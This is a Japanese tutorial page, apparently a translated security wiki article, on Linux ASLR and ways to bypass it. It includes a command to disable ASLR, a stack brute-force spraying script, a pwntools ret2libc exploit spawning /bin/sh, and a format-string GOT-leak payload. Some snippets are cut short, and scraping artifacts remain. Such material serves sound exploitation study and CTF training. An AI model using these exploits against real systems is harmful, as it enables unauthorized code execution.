基本情報
**アドレス空間配置ランダム化（ASLR）**は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスによって使用されるメモリアドレスをランダム化 します。これにより、攻撃者が特定のプロセスやデータ（スタック、ヒープ、ライブラリなど）の位置を予測することが非常に困難になり、特にバッファオーバーフローなどの特定のタイプのエクスプロイトを軽減します。
ASLRの状態を確認する
LinuxシステムでASLRの状態を確認する には、**/proc/sys/kernel/randomize_va_space**ファイルから値を読み取ります。このファイルに保存されている値は、適用されるASLRのタイプを決定します：
1 : 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
2 : 完全なランダム化。保守的なランダム化によってランダム化された要素に加えて、brk()を通じて管理されるメモリがランダム化されます。
次のコマンドでASLRの状態を確認できます：
Copy cat /proc/sys/kernel/randomize_va_space ASLRの無効化
ASLRを無効化 するには、/proc/sys/kernel/randomize_va_spaceの値を0 に設定します。ASLRを無効化することは、テストやデバッグのシナリオ以外では一般的に推奨されません。無効化する方法は次のとおりです：
Copy echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 実行のためにASLRを無効にすることもできます：
Copy setarch ` arch ` -R ./bin args
setarch ` uname -m ` -R ./bin args ASLRの有効化
ASLRを有効化 するには、/proc/sys/kernel/randomize_va_spaceファイルに2 の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます：
Copy echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 再起動を跨いだ持続性
echo コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、/etc/sysctl.conf ファイルを編集し、以下の行を追加または修正する必要があります：
Copy kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR /etc/sysctl.confを編集した後、次のコマンドで変更を適用します:
This will ensure that your ASLR settings remain across reboots.
バイパス
32ビットブルートフォース
PaXはプロセスアドレス空間を3つのグループ に分けます：
コードとデータ （初期化済みおよび未初期化）：.text、.data、および.bss —> delta_exec変数に16ビット のエントロピー。この変数は各プロセスでランダムに初期化され、初期アドレスに加算されます。
mmap()によって割り当てられたメモリ および共有ライブラリ —> 16ビット 、delta_mmapと呼ばれます。
スタック —> 24ビット 、delta_stackと呼ばれます。ただし、実際には11ビット （10バイト目から20バイト目までを含む）を使用し、16バイト に整列されています —> これにより524,288の実際のスタックアドレス が可能になります。
前述のデータは32ビットシステム用であり、最終的なエントロピーの減少により、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
ブルートフォースのアイデア：
シェルコードの前に大きなNOPスレッド をホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースしてNOPスレッドの一部を飛び越える まで試すことができます。
オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、環境変数にNOPスレッドとシェルコードを追加する ことが可能です。
エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます（32ビットシステムに便利）：
Copy for off in range ( 0x b7000000 , 0x b8000000 , 0x 1000 ): リモートサーバーを攻撃する場合、libc 関数 usleep のアドレスをブルートフォースする ことを試みることができます。引数として10を渡します（例えば）。もしある時点でサーバーが応答するのに10秒余分にかかる 場合、その関数のアドレスを見つけたことになります。
64ビットシステムではエントロピーがはるかに高く、これは不可能であるべきです。
64ビットスタックのブルートフォース
環境変数でスタックの大部分を占有し、その後、バイナリを何百回、何千回もローカルで悪用することが可能です。
以下のコードは、スタック内のアドレスを選択するだけで 、数百回の実行ごとに そのアドレスがNOP命令 を含むことができる方法を示しています：
Copy //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main () {
unsigned long long address = 0x ffffff1e7e38 ;
unsigned int* ptr = ( unsigned int* )address;
unsigned int value = * ptr;
printf( "The 4 bytes from address 0xffffff1e7e38: 0x %x \n" , value) ;
return 0 ;
}
Copy import subprocess
import traceback
# Start the process
nop = b "\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int ( 128000 / 4 )
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a' : shellcode_env_var ,
'b' : shellcode_env_var ,
'c' : shellcode_env_var ,
'd' : shellcode_env_var ,
'e' : shellcode_env_var ,
'f' : shellcode_env_var ,
'g' : shellcode_env_var ,
'h' : shellcode_env_var ,
'i' : shellcode_env_var ,
'j' : shellcode_env_var ,
'k' : shellcode_env_var ,
'l' : shellcode_env_var ,
'm' : shellcode_env_var ,
'n' : shellcode_env_var ,
'o' : shellcode_env_var ,
'p' : shellcode_env_var ,
}
cont = 0
while True :
cont += 1
if cont % 10000 == 0 :
break
print (cont, end = "\r" )
# Define the path to your binary
binary_path = './aslr-testing'
try :
process = subprocess . Popen (binary_path, env = env_vars, stdout = subprocess.PIPE, text = True )
output = process . communicate () [ 0 ]
if "0xd5" in str (output):
print ( str (cont) + " -> " + output)
except Exception as e :
print (e)
print (traceback. format_exc ())
pass ローカル情報 (/proc/[pid]/stat)
プロセスのファイル /proc/[pid]/stat 興味深い 情報が含まれています：
startcode & endcode : バイナリのTEXT の上と下のアドレス
start_data & end_data : BSS の上と下のアドレス
kstkesp & kstkeip : 現在のESP とEIP アドレス
arg_start & arg_end : cli arguments の上と下のアドレス
env_start &env_end : env variables の上と下のアドレス
したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の入力からのオーバーフロー を期待している場合、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行う ことが可能です。
リークを持つこと
リークが与えられた場合（簡単なCTFチャレンジ）、それからオフセットを計算することができます（例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します）。この例のエクスプロイトは、こちらの例
Copy from pwn import *
elf = context . binary = ELF ( './vuln-32' )
libc = elf . libc
p = process ()
p . recvuntil ( 'at: ' )
system_leak = int (p. recvline (), 16 )
libc . address = system_leak - libc . sym [ 'system' ]
log . success ( f 'LIBC base: { hex (libc.address) } ' )
payload = flat (
'A' * 32 ,
libc.sym[ 'system' ],
0x 0 , # return address
next (libc. search ( b '/bin/sh' ))
)
p . sendline (payload)
p . interactive () バッファオーバーフローを悪用することで、ret2plt を利用してlibcの関数のアドレスを抽出することが可能です。確認してください:
Format Strings Arbitrary Read
ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTからlibc関数 のアドレスを抽出することができます。次の例はここからです
Copy payload = p32 (elf.got[ 'puts' ]) # p64() if 64-bit
payload += b '|'
payload += b '%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload . ljust ( 40 , b 'A' ) # 40 is the offset until you're overwriting the instruction pointer
payload += p32 (elf.symbols[ 'main' ]) You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
ASLRをバイパスするためにスタック内のアドレスを悪用してみてください：
vsyscall
vsyscall vsyscalls の重要な利点は、ASLR （アドレス空間配置のランダム化）の影響を受けない固定アドレス にあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。
しかし、ここでは特に興味深いガジェットは見つかりません（例えば、ret; の同等物を取得することは可能ですが）。
（以下の例とコードは この書き込みから
例えば、攻撃者はエクスプロイト内でアドレス 0xffffffffff600800 を使用するかもしれません。ret 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定になったりクラッシュしたりする可能性がありますが、vsyscall セクションが提供する syscall の開始地点にジャンプすることは成功する可能性があります。このvsyscall アドレスへの実行を導くROP ガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分でASLR をバイパスすることなくコード実行を達成できます。
Copy ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3 vDSO
したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、vdso を悪用して ASLR をバイパスする ことが可能であることに注意してください。なぜなら、vdso アドレスはランダム化されないからです。詳細については、以下を確認してください：
